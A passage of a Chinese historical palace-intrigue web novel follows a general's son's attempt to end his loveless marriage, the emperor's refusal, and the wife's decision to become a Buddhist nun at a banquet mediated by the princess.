于是袁綦就跟她说了实话,他倾慕长公主,从十三岁那年,送她远嫁开始,就再也没有忘记过她。本以为今生今世也就只有那么一个背影可以凭吊了,偏偏又在南阳大营重新遇到了她。那时她刚刚失去了丈夫,又流落民间数月,吃尽了苦头,夜里觉都睡不踏实。她本来不愿回来,被陛下一道诏令逼着上了路,袁綦一路看着她的不甘和痛苦,觉得自己从来没有为了谁这样心痛过……他知道他不应该,可是他控制不住。去年的盂兰盆节……
楚恕颐听到这里就轻轻地抬了手。好了,她知道了。她都知道了。
看到袁綦贴身珍藏的那个耳环的时候,她也问了丈夫那个问题:“那你为什么还要娶我呢?”
袁綦没有回答,只说是他对不起她。但楚恕颐也不是真的需要他的回答,她知道为什么。因为得不到最爱的那个人了,所以父母许配谁都无所谓,对他来说都一样。
这件事,楚恕颐也早就感觉到了,所以她也没什么好伤心的。
“其实我挺高兴的。”楚恕颐如释重负,“原来不是我的错啊。”
原来就算她“正常”,袁
綦也不会爱她的。原来这一段漫长的彼此折磨,问题根本不在她身上。她甚至有些可怜袁綦了,原来他那么爱,原来那么爱的时候,会那么痛苦。
“这些年,我也委屈他了。他没什么对不起我的,夫妻一场,到这儿就算了吧。”楚恕颐抬起头,看着桓宜华,“我就是想回家。”
桓宜华很长时间都没有说话,好一会儿,摸了摸她的头,像唤女儿一样唤她:“傻阿奴,女人一出嫁,就没有家了。”
楚恕颐还是问:“为什么啊?”
桓宜华一时无言。得知苻氏怀孕的时候,她也一气之下回过娘家。可是当年说什么都不许她嫁给袁煦的家人又变了张脸,说什么都不许她留在娘家了。
“不知道。”桓宜华摇了摇头。她是真的不知道。
于是楚恕颐也没再继续问,两人静静地依了一会儿,只是无声地落泪,直到门外有人敲了敲:“夫人?”
桓宜华听出是她房里的丫鬟的声音,楚恕颐也放开了她,示意她快去应门。桓宜华安慰地在她肩上捏了捏,一边转身出去,一边快速地抬起袖子在脸上擦了擦泪痕:“怎么了?”
“大公子回来了,”丫鬟压低了声音,但掩不住满脸的急切,“大将军发了脾气,让他跪在雪地里,要拿鞭子抽他呢!”
桓宜华吓了一跳,撩起裙子就赶紧往回跑。袁煦前几日去公主府上回来就受了伤,问他他也不肯说缘由,只是强忍着。袁增管教儿子一向是往死里打,这要是不拦着,几鞭子下去还了得?
桓宜华心里着急,险些在雪地里滑一跤,撑着丫鬟的手勉强稳住,又赶紧不歇气地跑。等到了袁增院里,发现家里人已经跪了一地。袁煦的上衣已经被脱下来,露出了上腹一片青紫淤伤,他母亲刘夫人用自己的身体抱着儿子,声泪俱下地嚎哭。袁綦和桓宜华的两个儿子都跪在袁增面前,袁识年纪大些,和二叔一人抱住了祖父一条腿,袁綦死死地摁住了袁增拿鞭子的那只手,不让他抽下去。袁博根本还是个小孩子,被这情形吓得直哭,见母亲来了,直往母亲怀里钻:“娘!”
“父亲!”桓宜华也赶紧跪下来,“伯彦做错了什么您教训就是了,何必生这么大气……”
袁增看了她一眼,冷冷地“哼”了一声。对桓宜华这个儿媳他一向客气,所以他狠狠甩了甩手,把鞭子扔在了地上,也把袁綦甩开了。
“你自己问他,身上的伤哪里来的!”
袁綦马上道:“父亲!那都是我的错,阿兄——”
“住口!”袁煦马上喝断他,“用得着你替我遮掩吗!”
刘夫人不管不顾地只是干嚎:“你先打死我好啦——!”
“哎呀娘!”袁煦也不耐烦母亲这样哭,朝袁綦使了个眼色。袁綦赶紧过来把母亲扶了起来,桓宜华上前给他把衣服披好,压低了声音问他:“到底怎么伤的?”
袁煦沉着脸,只是摇头。袁增立刻一声暴喝:“他没脸说!堂堂的征西大都督,去公主府上给人献艺取乐,我真是养的好儿子啊!”
袁綦又想说话,但是袁煦还是不让他开口:“儿子给袁家丢人了,请父亲责罚!”
“你到底怎么想的?啊?”袁增眯着眼睛质问了一句,百思不得其解,“你闲得骨头发痒你就去大营里练!用得着去给一个江湖草莽当垫脚石吗?!”
袁煦低着头,任由父亲责骂,一句也没有解释。
长公主言而有信,真的亲自带着那个刀客去面圣了。今日陛下召大将军入宫,笑着说这人连伯彦都打赢了,可是了不得。只是没读过书,兵法军务一样不通,让大将军着意培养培养,说不定是个能用的大才。袁增站在御前,被打得措手不及,背上冷汗都下来了。
陛下没有多的意思,这人是个真草莽,陛下也就是看在长公主面上,看一眼,转头就会忘记。就算他哪天又想起来了,袁增也可以说,培养过了,确实不行,陛下不会追究。如何处理,完全在大将军手中,等着看的不是陛下,而是长公主。
这是她第一次把手伸到军中,是对他的试探,也是对他的警告。若是完全不用这个人,那就是得罪了长公主,难免还要被人议论他的儿子气量小,输不起。
袁增不知道长公主有多大的野心,也不知道她要做什么,但是他见识过谢太后的能耐。长公主比谢太后更可怕的地方,在于她对陛下的影响力。哪怕她身在大燕,一封家书,就让陛下召回了大军,话里话外地敲打,吓得袁增几个月都没有睡好觉。
自从长公主回来以后,袁增一直冷眼旁观。身为皇后的表姐,她却主动和敬夫人交好,为皇长子谋利。皇后多年无宠,据说也是经她劝和,才有了如今的身孕。很多人都看不明白长公主到底站在哪一头,袁增看明白了,她这是为了确保万无一失。
桓廊为此费尽心机地把长公主赶出了宫,在袁增看来,是大错特错。公主府可比上阳宫自由得多了,她看起来远离朝纲,其实半个朝廷都上她的家门去了。姜川领了陛下的命改太学和选官,不出几年,朝中就会换一批人,而这些人,有多少会受到长公主的影响?
若有一天,陛下突然驾崩了,倒还没什么。怕的是他缠绵病榻,逐渐丧失对朝廷的控制力,却又始终不肯咽气。到那个时候,长公主掌握了陛下,掌握了陛下的儿子,甚至还掌握了朝中相当数量的新臣,而她的儿子,正是那个十一岁就展现出惊人魄力与手腕的大燕天子。
内政外交,她都说得上话。在可以预见的未来里,天下不会有比她更有权势的女人了。
但还好,她是个女人。
袁增吐出一口气,突然对袁綦点了点头:“你跟我进来。”
袁煦仍想护着弟弟:“父亲!都是我一人之过……”
“你住口!”袁增冷冷地看了他一眼,“给我跪着!好好想想!”
袁綦站了起来,低着头跟着父亲进了房间。袁增刚坐下,就看见他已经自觉地跪了下来,手里举着不知道什么时候捡起来的鞭子,主动道:“父亲,阿兄跟人比武都是我闯的祸,你打我吧!”
袁增从鼻子里“哼”了一声:“你?”
“那天是我……”
袁增没让他说完:“长公主打定了主意的事情,有没有你,他这一拳都得捱。”
袁綦神色一动,抬起头看着父亲,什么都没敢说。
袁增眯着眼睛,打量着他这个小儿子。在他心里,袁煦更像他,他在大儿子身上花的心血也是最多的。就是袁煦太有出息了,袁綦肩上才没什么担子,一直就这么由着心意长大了。可能这就是命吧,他们兄弟两个,大的那个担得多了,小的那个坐享其成了。
“我袁家的儿郎,未必配不
上萧氏的公主。”袁增发狠似的。大儿子不行,那就小儿子来。
袁綦愣在当地,不敢相信父亲的意思。袁增站起来,走到儿子面前拿走了鞭子,让他起来。
“休了楚氏。”袁增说得简洁明白,和他在战场上下军令一样,“我向陛下上书,替你求娶东乡公主。”
第138章
萧盈支起一条膝盖,手肘撑起来,指节抵住了太阳穴,歪着头,认真地打量着袁綦。
他跪在父兄身后,明明在说的是他要和离,却好像根本不关他的事。萧盈想起来第一次见他的情形,执金吾卫大营的操练场上,他跟着袁煦过来,根本还是个孩子。比所有人都矮,桓湛他们最喜欢欺负他。
袁煦虽然疼弟弟,但他知道军中的规矩,这种“欺负”被视作锻炼和认可,若是护得太狠了,反而让人看不起。袁煦不管,常常是萧盈看不下去说一嘴。后来袁綦被那帮混账玩意儿举起来往半空中扔的时候,会直接喊陛下救命。
后来袁綦闯了不少祸,萧盈挺意外的,感觉他小的时候要稳重得多。当时建康的贵女们都来偷看袁煦,袁綦像条警觉的小狗,到处绕着校场外围转,发现有人就要告状。他那时还小,理解不了其他少年人到底在乐什么,心里就念着一条,护卫陛下,不许闲杂人等靠近。
谢后谋反时,袁綦还没满十三岁,但已经表现出了很多大人都没有的忠诚和勇武。萧盈一直记得当日温泉宫,他手持一杆长枪就出去护卫的背影。
后来他擅自做主,带五千人奔袭邺城,把袁增气得险些打死他,萧盈却一点儿都没生气。给乌兰徵写封信解释已是给足了颜面,他若非要追究,那就是没把明绰放在眼里,也不会是袁綦的错。那时萧盈的心态更像是……自己家的孩子做错了一点小事而已,他又不是不能收拾。
袁增上表请罪的时候,萧盈还跟他说,不要怪仲宁冲动,还是当父亲的太偏心了,他只是想要从父亲那里得到和兄长一样的认可。也不知道袁增听进去没有。
再后来萧盈也看明白了,袁綦小时候也不是稳重,他就没有稳重过。而是他比别的孩子更早明白荣辱。他自小就在军营里长大,事事都向父兄看齐。知道忠诚是荣誉,军功也是荣誉——指着黄河起誓,保护大雍的女子不再外嫁,也是荣誉。
但也许是因为他曾独自留在建康,只有长嫂和母亲照顾抚养,袁綦在某些事情还是和父兄不一样。楚氏的问题萧盈早就知道了,袁綦为了避开家中那些事情,向萧盈要求外出领兵的时候,萧盈也说过,让他另挑称心的女子纳进府中就好了。袁綦那时就不愿意。他虽然谈不上对楚氏有多深的感情,但他明白夫妻有夫妻之间的恩义。
他对萧盈说,楚氏嫁给了他,他就对她有责任,做人不应该这样。
萧盈也把他当成了半个弟弟。那个姜逯浑身发着颤,跪在他面前招供,说袁綦也与长公主有私情的时候,萧盈甚至感觉那一剑也捅在了自己身上。
袁綦察觉到了不同寻常的注视,抬起头也看了陛下一眼。萧盈却在这个时候挪开了视线,抬了抬手,打断了袁增的长篇大论。
“楚培今早已经来过了。”萧盈伸手揉了揉眉心,没有掩饰住语气里的烦躁。楚培扶着他的母亲进了宫,他母亲是昔年元康大长公主的小女儿。元康大长公主是孝文皇帝的姑姑,别说萧盈实际上不是孝文皇帝的亲孙子,就算他真是,这亲也已经隔得太远了。但老人家穿戴着诰命太夫人的服制,一把鼻涕一把眼泪,哭得萧盈都开不了口。
“朕这一天天的,什么都别做了。”萧盈冷冷地看着袁家父子,“就给你们断家务事,是吧?”
袁增立刻伏身下拜:“臣惶恐!”
萧盈不耐烦地摆了摆手,指了指袁綦:“让他说。”
袁煦张了张嘴:“陛下……”
“他这么大的人了!”萧盈明显带了火气,“自己的事情,自己不会跟朕说吗!”
殿内顿时无声。袁綦躬着身起来,趋行几步,到离萧盈更近的地方,重新跪好。但他也实在没什么能说的,所以只是低着头,一声不吭。
萧盈看了就来气:“楚培说你要休妻?”
袁綦看起来有一丝犹豫,他知道父亲的目光正死死地黏在他背上,但他还是说出了当日拒绝父亲时同样的理由:“楚氏无过,臣不敢休妻。”
萧盈的语气更重:“她既无过,你做什么这样闹个没完?”
“臣与楚氏多年不睦……”
萧盈懒得听他说完:“你想娶谁?”
袁煦听见这话,感觉一颗心都快跳出喉咙了,白着脸抬起头看着陛下。但萧盈脸上看不出来他是不是已经知道了。
袁綦还是低着头:“臣没有要娶谁,只是想……”
萧盈又打断他:“想朕下旨,让你们和离,是吧?”
“陛下……”
“你知道‘和离’什么意思吗?”萧盈问他,“夫妻自愿,叫和离。现在楚家不愿意,你就和离不了!你也说楚氏无过,那叫朕怎么下旨?你不肯休妻,你要留颜面、做君子,那是要朕替你做这个恶人吗?”
袁綦只好拜下去:“臣不敢!”
“陛下,”袁增赶紧插嘴,“楚氏难行夫妻敦伦之礼,以致多年无子……”
“夫妻闺房里的事也要拿到含清殿来说?”萧盈打断他,“大将军是要朕下旨,命楚氏跟你儿子同房吗!”
袁增赶紧拜倒:“臣不敢!”
萧盈转过头,又看袁綦:“楚氏也不是头一年如此,怎么你就突然过不下去了?”
袁綦涨红了脸,无话可说。萧盈死死地盯着他,又道:“仲宁,婚外通奸有违大雍律,别仗着朕疼你,连国法都不记得了。”
他知道了,袁煦突然绝望地闭上了眼睛。陛下已经知道弟弟与长公主的私情了。
任之趋步进殿通报:“陛下,长公主到了。”
他的声音不低,就是说给袁家父子听的。萧盈脸色极为难看地摆了摆手,父子三人都赶紧起身告退,迎头撞上了从外面进来的东乡公主。
明绰面色如常地跟袁增打了一声招呼:“大将军。”
袁增也回礼:“见过长公主。”
明绰本想问一问那刀客,一眼瞥见袁煦也在,便意味深长地笑了笑,只问:“伯彦,伤好些不曾?”
袁煦低下头:“劳长公主挂心。”
明绰看了一眼袁綦,眼中竟有一丝犹豫。她应该也跟他说一句什么才对,可是她实在想不出来。他要和离的事情已经闹得满城风雨,明绰就更不知道能跟他说什么了。袁綦也不响,只是看着她,浑然未觉萧盈已经起了身,就站在罗帐后看着。
袁煦突然往
前一步,站到了明绰和袁綦中间:“陛下还在等,长公主,臣等先告退了。”
明绰点了点头,微微侧身让道。等她往里的时候,萧盈已经重新坐下了,见她进来,也不说话,闭着眼睛,似在养神。
明绰也懒得行礼,自顾自把身上的狐裘脱下来,让含清宫的女史给她拿下去,然后也坐下来,不紧不慢地给自己倒了一杯茶,小心啜饮了一口,才跟萧盈说话。
“皇兄,姜逯死了。”
萧盈睁开眼,一副很茫然的样子:“谁?”
明绰眼睛都没有抬:“少跟我来这套。”
于是萧盈就不演了,歪在凭几上,撑着头看她。
姜逯被接进宫的第二天早上明绰就知道了。她没马上进宫来兴师问罪,只是暗中把整个公主府都查了一遍,看是谁给宫里通的风报的信。隔了几天,她像模像样地给含清宫送了两个丫鬟过来,说是这两人得用,贴心,特地来孝敬皇兄的。萧盈也就笑笑,收下了,什么都没说。
姜逯是他堂兄进宫来领回家的,回去以后没多久就说不好了。伤口发烂,人高烧不退,没几天就一命呜呼。明绰一开始还真以为是他特别倒霉,这点儿伤就发了炎症。但是等了几天,看姜川一句话都没有,甚至都不追问一下谁伤的人,就知道到底是谁不肯留姜逯的性命了。
明绰的语气甚至有些失望:“至于吗?”
袁綦争风吃醋就算了,萧盈有这个必要吗?
萧盈也没说什么,倾过身,在垒成一摞的上书里翻了翻,抽了一卷、两卷……足足五卷上表,递给了明绰。卷好的上表上都有题签,写了上奏之人的官位和名字,明绰扫了一眼,尚书、中书和御史台的人都有。打开来一看,内容都差不多,就是状告长公主淫|乱,有违礼法。几次上过她门的,就被写成“数与之私通”,甚或还有“养数十美男于邸第”这样的指控。
“没这么多。”明绰面不改色地把奏表还回去,朝萧盈举起了一只手,“不超过这个数吧。”
萧盈看着她,居然笑了出来。明绰也笑,歪着头,一副有恃无恐的样子。
指责长公主淫|乱是冒犯天威,不会有那么多人突然义愤填膺,非要冒这么大的风险来正公主府的风气。三部之中都有人同时上书,那显而易见,是有人要为了别的事情攻击她。太学改制改了一年多了,年底之前有一批人要过核考。姜川把脸一翻,半点儿没给那些世家子弟情面,考不过就是考不过,别想跟以前一样走后门。自然有人要着急了。
长公主现在油滑得很,朝中的事情她不直接干涉。姜川是她举荐不假,可是太学的事情她从不过问。这些人抓不到把柄,只能拿这种事情说嘴了。
萧盈微微敛了笑意,叹出了一口气。这只是前锋,真正分量重的人还没发话。要是姜逯和长公主的私情被公之于众,就要有人抬出礼法国法,逼长公主下嫁了。
明绰点了点头。她明白,但还是那句话:“你就非要把人弄死吗?”
办法明明有很多,礼法国法是用来管臣僚的,不是用来管皇家的。
萧盈还很认真地想了想。如果不是姜逯非要把袁綦拉下水的话,他确实本来可以不用丢了性命。但他不愿意承认隐秘的愤怒,只道:“朕不喜欢这个人。”
“关你什么事?”明绰反问,“我喜欢就行了。”
萧盈挑了挑眉:“朕以为你喜欢的是袁綦。”
沉默。然后明绰没好气地翻了个白眼,对姜逯那点儿同情和不忿瞬间烟消云散。活该。
“袁綦已有妻子了。”萧盈提醒她什么似的。
明绰闻言便冷笑了一声,就跟她不知道似的。全天下就萧盈最没有资格来跟她说这个话。
“我知道。”明绰端了茶杯,不紧不慢地喝茶,一双眼睛从杯沿里露出来,盯着萧盈看,声调竟有些委屈,“皇兄也有啊。”
萧盈不说话了。她这话是在讽刺萧盈自己就没有顾忌过星娥,还是在说,她也仍对他有意,只是可惜他已有星娥……根本分不清。明绰就没想让他分清。萧盈看着她,隐隐气得牙痒,又对她无可奈何。
“你进宫来就是为了跟朕说这个?”
“不是,”明绰眨眨眼,假模假样地朝他笑,“我是来看皇嫂的。”
她从来没有这样称呼过皇后。萧盈让她堵得没话说,看着她起了身,准备告退,才突然又说出来一句:“朕不会准他和离的。”
明绰脚下一顿,心里已经着了恼。凭什么说得好像她想嫁给袁綦?闹成这样,有一个人问过她的意思了吗?
“那皇兄下回再收到奏表,说我跟袁綦私通,”明绰笑盈盈地转回头看着他,“可别又气得杀人。”
第139章
袁綦整理妥当,跨过院子,去敲楚恕颐的房门。但手才刚伸出来,房门就被从里面打开了。楚恕颐也已经穿戴妥当,手里端着一碗羹汤,刘夫人站在她身边,来开门的正是刘夫人的丫鬟。
袁綦愣了一下:“母亲?”
“哦,你来了。”刘夫人看了他一眼,见到楚恕颐要把碗放下,又道,“就剩一口了,都喝了吧。”
楚恕颐看起来相当意外,但还是乖乖地把羹汤全喝完了,才将空碗交还:“多谢母亲。”
袁綦站在门口,也没有掩住眉间的意外。刘夫人对楚恕颐不满已经很多年了,只是维持着表面的客气。但自从袁綦公开要和离之后,刘夫人已经是演都不演,对这个儿媳态度相当差。所以袁綦很意外她会来送羹汤,但是随之便听到母亲问:“你们今日都要去公主府吗?”
袁綦点了点头:“是。”
袁增后来又去过含清宫,还是碰了个软钉子。陛下说得也很明白,若是早几年袁綦有心,他就睁只眼闭只眼了。现在闹成这样,他多少要顾及楚家的老太夫人。别说是和离了,就算袁綦要休妻,他也不可能同意了。
袁增叫了桓廊一起面的圣,桓令君出面说和,意思是太委屈了二郎,也不是办法。最后劝得陛下总算松了口,说那就再拖两年。楚家那老太夫人也没几年可以活了。
话到这里,就明显是陛下不想谈了,在搪塞他们。但袁增告辞的时候,陛下特意等桓廊先走,突然又对袁增说了一句话。
即使休弃,也是原配。原配尚在,就是辱没了长公主。
最近建康风言风语太多,都在说长公主的私情。姜逯蹊跷的暴毙似是别有深意,反而令人不敢多说什么,这情郎就莫名其妙地扯到了袁綦头上。说得有鼻子有眼,就是当时送袁氏兄弟送长公主回朝的时候发生的事儿。
袁增根本还没有找到机会开口,陛下已经知道他都在打些什么算盘了。
袁綦实在没有预料到事情会演变到这个地步。陛下已经停了他的军职——其实袁綦在建康本来就没多少军务,陛下只是给个态度,罚给别人看的,免得人人都生了这般心思。袁綦想不明白,他自己的私事,怎么就扯到别人身上了。
父亲打也打了,骂也骂了,他还是不肯写休书。现在陛下这个态度,袁增也不逼了,就是一副只当没这个儿子的样子。阿兄来跟他谈,也是问他,既然如此,为什么就不能跟楚氏好好过下去呢?
袁綦感到百口莫辩。为什么所有的人就是理解不了,他只是不爱楚恕颐,但并不想伤害她。他不想伤害她,也不意味着他还能跟她做夫妻。
可是被问多了,他现在也犹豫了。是不是非要和离,袁綦心里已经没了底。
事情就这样闹僵。楚培虽然暂时遂了意,但是跟袁家的关系已经坏了,他现在门都不愿意上,只有他夫人一趟一趟地来。
楚家也已经得到了消息。楚恕颐的母亲拉着女儿的手垂
泪,说知道她委屈,可是那是长公主,她争不过的。但好歹现在算是袁綦有了过错,袁家也不能就揪着楚恕颐的错处不放了……她母亲说着说着,自己的背倒是挺直了。
于是有一天,楚恕颐谁也没告诉,自己上了公主府的门。也不知道她们到底谈了些什么,长公主突然派人来袁府相邀,她要袁氏兄弟两对夫妇今日都去公主府赴宴,她来做这个和事佬。
刘夫人“哦”了一声,神情十分古怪,似是觉得怎么也不该由长公主出面。现在建康都在传她和袁綦的私情,她该避开才是。
袁綦便没有理会母亲,只道:“阿兄阿嫂已经在等了。”
楚恕颐马上起了身:“走吧。”
二人并肩从院里出来,袁煦和桓宜华果然已经在马车上相候,明显两人本来是在说话的,但是见到弟弟和弟媳过来,就立刻噤了声。袁煦这么多年就没跟弟媳说过几句话,现在更是尴尬得只能把眼睛往窗外放。他不说话,袁綦也不好开口,只是垂着头。桓宜华神色担忧,主动伸手握住了楚恕颐的手。唯独楚恕颐面色平静,似是胸中笃定,甚至还安慰地回握了阿嫂的手。
马车就这样在一路诡异的沉默中抵达了公主府。
公主府的下人将两对夫妇一起引至正厅,袁綦才发现楚培夫妇竟然也在,旁边还坐着面色尴尬的崔挺,还有他妹妹崔庆英。
见到袁氏兄弟夫妇进来,崔挺和崔庆英都起了身,唯独楚培不动。楚恕颐看起来好像完全不意外父母在这里,袁綦便也低了头,不顾楚培的态度,还是恭敬地上前行礼:“父亲,母亲”。
楚培“哼”了一声,别过了脸。他夫人李氏尴尬地用手肘捅了捅他,然后赶紧来扶袁綦:“仲宁快起来……”
袁煦面上挂不住,只好跟崔挺打招呼:“崔中尉怎么也在?”
他不问还好,问了崔挺才奇怪呢。这种家务事,经常会多叫几个亲眷来说和,但是崔挺跟楚家、袁家都不沾亲。
而且公主府他是不来的。一则,他是执金吾卫中尉,没事儿上公主府,定要引人多心;二则,长公主举荐姜川,毁了他妹妹的姻缘,弄得两家现在关系也难看了,他心里是怪罪这女人多事的,也不愿上门。
今天本来是崔庆英去请他,结果上了马车不知道怎么就到公主府了。
“是啊……”崔挺转头看妹妹,“我怎么在这儿啊?”
崔庆英面不改色:“哦,我半道突然想起来,长公主今天要请阿兄吃饭。”
崔挺只好跟袁煦赔笑:“她半道才想起来……哈哈,才想起来。”
袁煦也只好打个哈哈过去。想来是长公主想着楚培曾是崔挺手下多年的右中侯,所以觉得他说话会管用一些。
一时众人都厮见过。公主府的下人鱼贯进来,引所有人入席,流水似的先上了酒菜。袁綦很快注意到,还有一席空着,未布酒肉,只有一壶清茶,在小炉上温着。他正疑惑还有谁要来,就听到门外传来了明绰的声音:“诸位都到了!”
所有人都站起来给长公主行礼,明绰脚步未停,轻快地一路行至上首,随意地摆了摆手让他们都坐,自己也坐了下来。
“哎哟,怎么都拉着个脸?”明绰笑盈盈地扫了一圈,先调笑了一句,“是我这里招待不周了?”
众人都稀稀拉拉地应两句“不敢”,但气氛还是相当凝滞,像一团胶黏在半空中。
“行吧,那也不必客套了,干脆把话说开吧。”明绰端起了酒,笑得十分轻松,“我知道现在外面都在传,仲宁非要和离,是为了我……”
袁綦马上站了起来:“臣惶恐!”
明绰抬了抬手,示意他不要插嘴,反而转向了袁煦:“伯彦,这一路上回来,你才是主帅,军中大小之事,没有逃得过你的眼睛的,你说说,有没有这回事儿?”
袁煦也起身行礼:“绝无此事!”
楚培仍是不信,只道:“他们是兄弟两个!当然护着……”
话还没说完,就被李夫人一手肘又捅没声儿了。明绰也不说话,仍是含着笑,定定地看着楚培。崔挺看看她,又看看楚培,虽然还是不太明白自己今天到底是个什么角色,但已经自觉主动地开始打圆场:“元常,长公主说没有,自然就是没有的事情……”
楚培转头看了一眼自己的老上司,神色悻悻的,只好清了清嗓子,不情不愿地说了一句:“长公主恕罪。”
“好。那便说清了,不关我的事。”明绰语气仍然轻快,“那就是他们夫妻俩之间的事情,皇兄不肯断个明白,少不了我来多事了。今日该来的人都来了,咱们就说个清楚。”
她说这话的时候有意扫了袁煦一眼,那意思好像是说,长兄如父,这事儿袁煦就能做主了。她为何不请袁增,想必他也应该心中有数。
袁煦被她看得喉间一涩,微微垂眸,避开了她的视线。桓宜华看着丈夫,脸一下子就冷了。
她早就怀疑了。袁煦一直担心姜逯之死是因为弟弟,故而听到长公主与袁綦的传闻时十分紧张。按照常理,这个故事应该是袁綦争风,怒杀姜逯。可是外面完全没有这么传,只说是当日在军中有的私情,好像根本没有人知道姜逯的死其实和袁綦有关。袁煦一开始还觉得这个谣言抹黑了他治军之风,大张旗鼓地要去查是哪个不要命的敢散播谣言。但又突然哑了火,说不查了。桓宜华就觉得不对,散播这话的人应该就是袁增。
如今夫君这个反应,也算是印证了她的猜测。桓宜华心里不悦,登时对袁煦冒出一股火来,只是强压着,无言地举杯饮酒。
楚培也道:“好,那就说个清楚!仲宁,你以后到底打算怎么办,你说!”
袁綦一直站着,闻言转过身来。事已至此,再挣扎也没什么意义了,何况长公主还看着。闹到今日,拖累了长公主的名声,本就非他所愿,他能做的,也只有这一条路了。
袁綦没再犹豫,躬身朝岳丈行了个礼:“此事都是我糊涂,父亲放心,以后不会再提了,我会好好待恕颐的。”
楚培的脸色一下就好看了,李夫人也松了一口气,欣慰地笑了出来。连崔挺也没忍住露出一个微笑,本以为这事儿要闹得多难看呢,还好袁綦识大体。他马上提了一杯:“那就好,那就好!来,大家都喝一杯,此事就算过去了……”
“父亲。”楚恕颐突然出声,这还是她今天第一次开口,所有人都转过脸来看着她,楚恕颐却只看着父亲,“你不问问我么?”
楚培让她问得一怔:“什么?”
楚恕颐站起来,似是鼓足了极大的勇气。明绰看着她,她在女儿堆里开玩笑的时候什么都敢说,可是面对别的男人,就必须要双手握拳,才能支撑着自己站直,迎着父亲的目光。
“你为什么从来没有问过我的心意呢?”楚恕颐的声音开始发抖,尽管她根本没想哭,“我不想再做他的妻子了!”
有那么一会儿,楚培脸上的表情好像被女儿当众打了一巴掌。第一个反应过来的是李夫人,她扬起声调就喊:“你不许胡说——”
明绰不紧不慢地开了个腔:“让她说。”
李夫人一下子噎了回去,所有人都转过脸来,震惊地看着长公主。明绰坐得很放松,指尖拈着一个小杯盏,好玩儿似的转了转,只道:“今日请诸位来,就是把话都说开。无论是谁,有什么话要说,本宫在这里,她就能说。”
楚恕颐转过头来看着她,努力抿紧了嘴,也没忍住眼泪掉下来。然后她朝明绰点了点头,还是双手握着拳,给自己打气似的,绕过自己面前的桌案,走到了父亲面前。
“你要我嫁的时候,就没有问过我愿不愿意……”
楚培看着她,眼神中有不解,也有被深深辜负的伤心:“你不满意吗?满建康你去找,论相貌,论出身,哪里还有比仲宁更好的?这样的少年英雄……”
“少年英雄有什么用啊!我什么时候说过想嫁英雄!”楚恕颐没控制住音量,几乎是喊了出来,“我根本就不认识他!”
李夫人也落了泪:“他哪里亏待了你,你跟我们说啊……”
“他没有哪里亏待我!”楚恕颐转向母亲,“可是我们就是不合适,我们过不下去啊娘!”
李夫人还是不明白:“你若早些有个孩子……”
“要什么孩子!”楚恕颐急得双手都在胸前比划,恨不得把心掏出来给母亲看,“我都不想他碰我——”
她话音未落,楚培突然站起来,“啪”地打了女儿一个巴掌。楚恕颐一下子愣住了,连楚培也愣在那里,呆呆地看着自己的手。楚恕颐是他唯一的女儿,他疼爱有加,从来没有动过手。可是她怎么能当着所有人的面说这种话呢?
袁綦也吓了一跳,上前一步护住了楚恕颐:“父亲,都是我的错,你别……”
他越护,楚培越发红了眼,只道:
“你让开,我今天非打死这个不知廉耻的娼|妇!这些事情都是她闹出来……”
他话还没说完,只听“笃”一声,长公主突然放下了手里的酒杯。门外马上走进来两个人高马大的家奴,一左一右地扣住了楚培。李夫人吓得惊叫一声,袁煦和桓宜华同时转向了明绰:“长公主!”
“说话就说话,”明绰脸色冷冷的,“当着本宫的面,也敢打人?”
楚恕颐捂着脸,突然挣了一把,不要袁綦护着。
“长公主在上,替我做主!”她转过头,不再看父亲,“我要出家!”
楚培愣在那里,突然颓然地一软,两个家奴适时地松开了手,任他跌坐下来。李夫人张开嘴,发出了一声混杂着吃惊和抗拒的轻呼。袁綦也非常意外,楚恕颐事先没有跟他打过半点儿招呼,但是看长公主的神色,她显然早就知道了。崔挺茫然地转头看了看妹妹,发现崔庆英一脸平静地低头吃菜,好像这乱子跟她一点关系也没有。
“恕颐,”袁綦压低了声音,还想劝她,“你不要冲动,这事儿我们从长计议……”
“还能怎么计议?”楚恕颐毫不犹豫地打断他,第一次对丈夫这样声色俱厉,“和离不成,休妻也不成!你有君,我有父!你说,还有什么办法!”
袁綦说不出来,只能看着她,良久,十分歉意地轻声道:“我不想你这一辈子,就这么……”
楚恕颐的眼泪夺眶而出。她知道,她全都知道。若不是袁綦还想顾着她,也不会闹到今天这样。可是他们没有办法,牺牲的只能是她。但至少,这条路是她自己选的。袁綦不想坏了她的名声,影响她以后嫁给别人,可她也实在不想再经历一遍嫁人的折磨了。她终于把这一切都说出来了。
楚恕颐抬头看着袁綦,突然露出了一个带着悲意的笑容:“仲宁,你是个好人,你对得起我,我也对得起你。从此以后,我们两不相欠。”
她不等袁綦回答什么,又看向桓宜华,轻声道:“阿嫂,这些年也多谢你。”
没有人说话。桓宜华咬着下唇,不知何时已经落了满脸的泪。
楚恕颐最后一次转向明绰:“长公主,我一心向佛,不愿再染红尘世俗,陛下总管不了我要出家吧?”
明绰承诺什么似的:“他管不了。”
楚恕颐便昂起头,用力地抹去了脸上的泪水:“那我今日就拜别父母,出家去了。”
“不!”李夫人叫了一声,扑了上来,“不许胡说!什么出家,你上哪里出家……”
她话音未落,只听门外传来一个轻轻柔柔的声音,回答道:“她心中有佛,佛自会留她。”
所有人都转过身,只见一个三十来岁的女尼款步进门。一身灰袍,还打着补丁,简朴至极,只有脖子里一串佛珠,被盘得油光水润,垂到胸前。她比少女时丰腴了许多,像一颗被龙盘山上的云霞磨出来的珍珠,站定之后,朝故人合十为礼。
“下山路远,贫尼迟到了,请长公主见谅。”
桓宜华站了起来,惊异地看着她。崔挺也惊得张大了嘴,只有崔庆英早已知道她要来,笑着叫了她一声:“瑈儿。”
她看向姨母和舅舅,没有应这声俗家的称呼。王执瑈是前生的身份,早已与她无关了。
“贫尼龙盘山妙澄。”女尼向不认识她的人团团一礼,“奉长公主之命,今日下山,来接有缘人。”
第140章
公主府园中有好几株红梅,早上又落了雪,花瓣上积了一层,红白相间,煞是好看。妙澄站在花枝下,手中端着一盏小小的玉瓶,小心地扫着薄雪。
她穿得太薄,鼻尖和耳朵都冻得通红。明绰远远地看了一会儿,让阴青蘅拿了一件狐裘滚边的大氅来,走过去,想披在她肩上。
妙澄退了一步,没有接。明绰这才意识到,杀生剥皮做的衣服,出家人不喜,一时自己也不好意思,又交还给阴青蘅,让她拿下去了。
妙澄这才笑了笑,只道:“长公主这里的红梅真香,贫尼取一些,回去煎茶好,也好沾一缕梅香。”
明绰也笑:“龙盘山上这么冷,没有红梅吗?”
“红梅难养,”妙澄抬起头,依恋地看着满园红霞,唇边笑得淡然,“我养不活。”
